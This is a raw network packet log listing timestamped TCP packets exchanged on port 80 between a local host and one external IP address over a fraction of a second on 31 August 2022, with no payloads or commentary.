Aug 31, 2022 08:34:31.318321943 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.318401098 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318425894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318447113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318485022 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.318550110 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318571091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318613052 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318633080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318662882 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318666935 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.318691969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318711042 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318712950 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.318741083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318751097 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.318864107 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319145918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319168091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319185972 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319200039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319211006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319216967 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319246054 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319370031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319389105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319406033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319453001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319458961 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319468975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319470882 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319510937 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319513083 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319554090 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319576979 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319601059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319616079 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319631100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319636106 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319642067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319659948 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319681883 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319700003 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319715977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319735050 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319756031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319756031 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319773912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319789886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319792032 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319827080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319835901 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319843054 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319859982 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319894075 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319897890 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.319910049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319921017 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.319932938 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.320204973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320245981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320264101 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320278883 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320302963 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.320311069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320341110 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.320363998 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.320384979 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320405960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320421934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320437908 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320446968 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.320457935 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320473909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320483923 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320494890 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.320530891 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.320812941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320830107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320848942 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320868969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320884943 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320888996 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.320935965 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.320941925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320959091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320972919 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.320983887 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.350996971 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.354315996 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.373641014 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373683929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373699903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373712063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373727083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373744011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373759031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373775005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373785973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373822927 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373838902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373857975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373871088 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.373878956 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373893976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373919010 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.373950005 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.373961926 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.373985052 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374002934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374022007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374033928 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.374042988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374057055 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.374058962 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374074936 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374094963 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374098063 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.374113083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374128103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374146938 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.374178886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374212027 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374221087 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.374228954 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374278069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374299049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374316931 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.374319077 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374335051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374353886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374358892 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.374375105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374381065 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.374396086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374417067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374420881 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.374433041 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374454975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374458075 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.374469995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374480963 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.374511957 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.375072956 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375101089 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375122070 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375138998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375145912 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.375161886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375181913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375190973 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.375204086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375216961 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.375225067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375243902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375248909 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.375267029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375282049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375288010 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.375298977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375319004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375325918 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.375334978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375356913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375377893 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.375587940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375611067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375631094 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375633955 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.375652075 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375669003 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375674963 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.375684977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375695944 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375710964 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.375938892 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.375979900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376002073 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376019955 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376024008 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376043081 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376060963 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376064062 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376079082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376089096 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376099110 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376117945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376126051 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376135111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376156092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376163960 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376178026 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376194000 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376208067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376214981 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376219988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376251936 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376332998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376355886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376370907 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376374960 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376411915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376415014 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376457930 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376477003 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376492023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376507998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376521111 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376547098 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376560926 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376566887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376585007 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376585007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376604080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376617908 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376622915 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376652002 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.376658916 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.376663923 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377141953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377170086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377214909 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.377264977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377286911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377304077 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377307892 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.377326965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377346039 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.377348900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377365112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377384901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377407074 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377408981 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.377422094 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377438068 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377448082 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.377453089 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377468109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377473116 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.377479076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377512932 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.377679110 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377700090 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377716064 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377723932 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.377737999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377758026 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377759933 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.377774000 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377784014 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.377799034 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378019094 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378038883 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378056049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378081083 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378115892 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378134966 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378155947 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378177881 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378199100 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378199100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378218889 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378241062 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378256083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378262997 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378272057 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378293991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378302097 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378313065 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378324986 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378329039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378340960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378362894 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378441095 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378458977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378473043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378503084 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378535986 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378561974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378578901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378598928 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378618002 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378622055 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378638029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378657103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378664970 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378673077 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378706932 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378716946 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378722906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378751040 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.378767014 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378786087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378797054 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.378808975 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.379558086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379581928 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379602909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379620075 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379637957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379647970 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.379662991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379682064 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379690886 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.379703045 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379719019 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379723072 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.379738092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379760027 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379775047 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.379776001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379791021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379805088 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379812956 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.379816055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.379834890 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.380345106 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380367994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380383015 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380404949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380420923 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380422115 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.380434990 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380446911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380476952 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.380629063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380650997 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380671978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380676985 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.380687952 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380707026 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380713940 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.380727053 CEST	80	49763	85.209.157.230	192.168.2.3
